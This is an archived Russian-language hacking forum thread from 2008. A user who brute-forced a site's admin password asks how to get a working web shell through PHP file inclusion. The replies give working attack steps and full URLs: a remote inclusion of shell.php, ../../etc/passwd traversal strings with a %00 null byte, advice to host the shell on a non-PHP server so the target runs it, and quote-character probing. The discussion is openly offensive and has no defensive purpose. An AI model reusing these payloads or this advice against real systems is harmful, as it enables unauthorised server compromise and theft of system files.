PDA

Просмотр полной версии : PHP includ Как выполнить шелл?


Nicca
15.01.2008, 00:50
Подскажите как залить шел:
Подобрал пароль к админке. Там есть приблизительно такой вызов скрипта:
http://www.hacksite.com/index.php?id?page=user024.php

Я сделал так:
http://www.hacksite.com/index.php?id&page=http://www.site.com/shell.php

Как теперь сделать чтобы у меня был доступ к файлам атакуемого сервера? А то я вижу только свой сервер, свои файлы?

xXvladXx
15.01.2008, 00:56
Я сделал так:
http://www.hacksite.com/index.php?id&page=http://www.site.com/shell.php

если так не получилось может быть это локальный инклюд... попробуй залить шелл и потом его про инклюдить...

blackybr
15.01.2008, 00:59
xXvladXx бред, читай что тс написал

Nicca на каком хосте находится твой шелл.. это раз, второе - не в фрейме опенится ссыль?

FraiDex
15.01.2008, 01:10
если так не получилось может быть это локальный инклюд... попробуй залить шелл и потом его про инклюдить...
чел, ты хоть сам понял что написал? если ты зальёшь шелл, нахрена его потом инклудить?

Nicca
15.01.2008, 01:15
xXvladXx бред, читай что тс написал

Nicca на каком хосте находится твой шелл.. это раз, второе - не в фрейме опенится ссыль?

1. .freehostia.com

2.Опенится во фрейме!

halkfild
15.01.2008, 01:18
чел, ты хоть сам понял что написал? если ты зальёшь шелл шелл, нахрена его потом инклудить?

если ты зальешь шелл просто как файл /*без права на исполнение: картинка, видео, текст.. а потом локально инклюдить*/

но у тс скорее всего просто ифрейм.. /*судя по тому, что он видит файлы того сервера, где залит шелл*/
тс, попробуй проинклюдить /еtc/passwd или что-то другое не доступное через ифрейм

*добавлено

если ифрем, то это не инклуд))) ищи другие баги или попробуй через заливку /*картинок, банеров, темплейтов и других фалов*/, попробуй редактирование страниц, тепмлейтов

blackybr
15.01.2008, 01:18
если во фрейме, то ничего не поделаешь. скорее всего просто открывается

<frame src="http://shell.com/shell.php">

Nicca
15.01.2008, 01:27
Как исккать /еtc/passwd?
к UsrPage= Добавлять ../etc/passwd ?
Как я тогда его увижу? Сдесь не выводятся\ сообщения об ошибках пробовал:
UsrPage= .sfsd.f2r2 выводит страницу по дефолту. Ошибки нет.
Если я наткнусь на /etc/passwd то выведит ли мне его на страницу?

Tigger
15.01.2008, 17:58
Что вы вообще такое говрите))? У меня была ткая же фигня..твой хость скорее всего поодерживает php, поэтому и не выполняется...нужен хост, где нету php...например: www.nm.ru
А что бы читать содержимое надо сделать так)):
http://www.hacksite.com/index.php?id&page=../etc/passwd
И потом побольше ../ не бойся с ними переборжить...этоне страшно..то ест запрос будет выглядеть так:
http://www.hacksite.com/index.php?id&page=../../../../../../../../../../../../../../../etc/passwd
Если есть ошибка и там написано например: ошибка иинкюда ../../../../../../../../../../../../../../../etc/passwd.php
То надо просто после passwd поставить %00
То есть вот так http://www.hacksite.com/index.php?id&page=../../../../../../../../../../../../../../../etc/passwd
Если написана просто ошибка, то возможно надо больше ../
А если и это не поможт, значит инклюд невозможен

heks
15.01.2008, 18:11
да вожможно у него там даже нет ни какого инклуда попробуй подставить ковычку после http://www.hacksite.com/index.php?id&page=' и посмотри что у тебя получится

Spyder
16.01.2008, 01:14
Не факт что во там именно ифрейм
http://freehostia.com/free_hosting.html
Смотрим сюда и видим PHP Enabled
Это значит что шелл выполняется на blabla.freehostia.com и уже выводится на уязвимом сайте
ТС, залей шелл на хостинг без PHP (narod.ru к примеру) и пробуй его проинклудить

Tigger
16.01.2008, 01:22
ТС, залей шелл на хостинг без PHP (narod.ru к примеру) и пробуй его проинклудить

Что вы вообще такое говрите))? У меня была такая же фигня..твой хость скорее всего поодерживает php, поэтому и не выполняется...нужен хост, где нету php...например: www.nm.ru

Я уже это писал))

Tigger
16.01.2008, 01:23
И вообще...аввтар ссылку давай...или скажи получилось или нет?